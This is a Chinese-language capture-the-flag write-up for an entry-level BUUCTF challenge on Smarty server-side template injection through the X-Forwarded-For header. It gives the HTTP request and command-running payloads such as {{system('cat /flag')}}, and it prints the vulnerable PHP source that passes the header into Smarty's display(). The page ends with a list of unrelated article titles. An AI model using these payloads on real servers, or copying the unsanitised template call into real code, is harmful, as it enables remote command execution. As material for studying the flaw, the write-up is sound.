本题考察XFF头的ssti模板注入,没有过滤,算是入门题

进入题目hint.php的源码中可以看到一个hint

猜测是通过XFF头来获取信息的,发个HTTP请求添加一个XFF头测试一下:

GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/ Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: test

可以看到此时显示的IP已经变了,猜测存在ssti,构造一个表达式Payload测试一下:

X-Forwarded-For: {{system('ls')}}

可以看到服务器执行了我们的命令,直接cat /flag即可获得Flag:

X-Forwarded-For: {{system('cat /flag')}}

做出题之后再来分析一下这道题的源码,看一下flag.php的源码:

<?php
require_once('header.php');
require_once('./libs/Smarty.class.php');
$smarty = new Smarty();
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ip=$_SERVER['REMOTE_ADDR'];
}
//$your_ip = $smarty->display("string:".$ip);
echo "<div class=\"container panel1\">
<div class=\"row\">
<div class=\"col-md-4\">
</div>
<div class=\"col-md-4\">
<div class=\"jumbotron pan\">
<div class=\"form-group log\">
<label><h2>Your IP is : ";
$smarty->display("string:".$ip);
echo " </h2></label>
</div>
</div>
</div>
<div class=\"col-md-4\">
</div>
</div>
</div>";
?>

形成ssti的代码在这里:

$smarty->display("string:".$ip)

采用了Smarty模板引擎,导致了ssti,关于Smarty模板ssti可以参考这篇文章:https://www.jianshu.com/p/eb8d0137a7d3

最新文章

  1. zend studio 快捷键
  2. QQ空间HD(6)-实现自定义的选项卡切换效果
  3. jQuery如何退出each循环的?
  4. 流媒体测试笔记记录之————阿里云监控、OBS、FFmpeg拉流和推流变化比较记录
  5. Maven 和 Ant 的区别?
  6. Spring Boot 入门
  7. C++标准库和标准模板库
  8. 内存四个领域,变量声明和定义,注册,c内联汇编,auto,堆,不变,静态变量
  9. java.lang.NullPointerException: No FileItemFactory has been set.
  10. java并发之DelayQueue实际运用示例
  11. vue 项目搭建步骤
  12. nvidia-smi实时刷新并高亮显示状态
  13. VC.窗口最前(置顶)
  14. nw + iframe嵌入page 滚动条问题
  15. mongodb 安装教学
  16. hbase权威指南阅读随手笔记二之过滤器
  17. 2017 ACM暑期多校联合训练 - Team 5 1008 HDU 6092 Rikka with Subset (找规律)
  18. Django Model获取指定列的数据
  19. Spring的引用内部Bean属性和给级联属性
  20. JVM的内存结构

热门文章

  1. c++中包含string成员的结构体拷贝导致的double free问题
  2. Focal Loss 损失函数简述
  3. kubeadm部署1.17.3[基于Ubuntu18.04]
  4. 在 .NetCore 项目中使用 SkyWalkingAPM 踩坑排坑日记
  5. C#LeetCode刷题之#83-删除排序链表中的重复元素(Remove Duplicates from Sorted List)
  6. 获取客户端用户真实ip方法整理(jekyll迁移)
  7. LeetCode 90 | 经典递归问题,求出所有不重复的子集II
  8. 计算机网络要点---Http
  9. powerMock和mockito使用
  10. Salesforce学习笔记之Actions and Recommendations